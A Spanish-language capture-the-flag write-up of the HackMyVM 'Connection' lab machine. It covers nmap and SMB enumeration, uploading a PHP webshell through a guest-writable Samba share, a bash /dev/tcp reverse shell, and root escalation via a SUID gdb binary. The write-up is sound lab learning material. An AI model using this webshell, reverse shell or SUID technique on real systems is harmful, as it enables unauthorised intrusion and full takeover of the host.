cd ~/blog

~/writeups/hmv/003-connection.md

003 - Connection

easy Linux hmv 16-10-2023
SMB writable share (PHP webshell RCE)SUID gdb Privesc
hackmyvm.eu/machines/machine.php?vm=Connection

~1 min de lectura


Comenzamos con un escaneo general y luego uno específico de puertos:

nmap -sC -sV -p22,80,139,445 -oN 02-targeted 192.168.1.26
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-16 20:02 -03
Nmap scan report for 192.168.1.26
Host is up (0.00044s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 b7:e6:01:b5:f9:06:a1:ea:40:04:29:44:f4:df:22:a1 (RSA)
|   256 fb:16:94:df:93:89:c7:56:85:84:22:9e:a0:be:7c:95 (ECDSA)
|_  256 45:2e:fb:87:04:eb:d1:8b:92:6f:6a:ea:5a:a2:a1:1c (ED25519)
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open             Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:80:FC:21 (Oracle VirtualBox virtual NIC)
Service Info: Host: CONNECTION; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
| smb2-time:
|   date: 2023-10-16T23:02:27
|_  start_date: N/A
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: connection
|   NetBIOS computer name: CONNECTION\x00
|   Domain name: \x00
|   FQDN: connection
|_  System time: 2023-10-16T19:02:27-04:00
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: CONNECTION, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.07 seconds

La enumeración web con dirb y gobuster no aporta nada relevante, y el sitio solo muestra la página por defecto de Apache. El vector interesante es SMB (Samba), con varias configuraciones inseguras. Comprobamos los recursos compartidos con smbmap:

smbmap -H 192.168.1.26

[+] IP: 192.168.1.26:445        Name: 192.168.1.26              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        share                                                   READ ONLY
        print$                                                  NO ACCESS       Printer Drivers
        IPC$                                                    NO ACCESS       IPC Service (Private Share for uploading files)

Existe un recurso share, al que nos conectamos usando guest como contraseña:

smbclient //192.168.1.26/share

Dentro están los archivos del sitio web. Comprobamos que podemos subir archivos:

put test.txt

Como el recurso mapea el directorio web, subimos un script PHP que ejecuta comandos:

<?php
    system($_GET["cmd"]);
?>

Lo invocamos a través del navegador para confirmar la ejecución:

http://192.168.1.26/road_to_reverse.php?cmd=whoami

Ponemos un listener y lanzamos la reverse shell:

sudo nc -nvlp 1234
http://192.168.1.26/road_to_reverse.php?cmd=bash -c "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1"

Una vez establecida la conexión, navegamos a home/connection y obtenemos la primera flag.

Para escalar privilegios, sudo -l no ofrece ninguna vía, así que buscamos binarios SUID:

find \-perm -4000 2>/dev/null

Consultando GTFOBins, el binario gdb con bit SUID es explotable para obtener una shell de root preservando privilegios:

./usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

Obtenemos acceso root y capturamos la siguiente flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados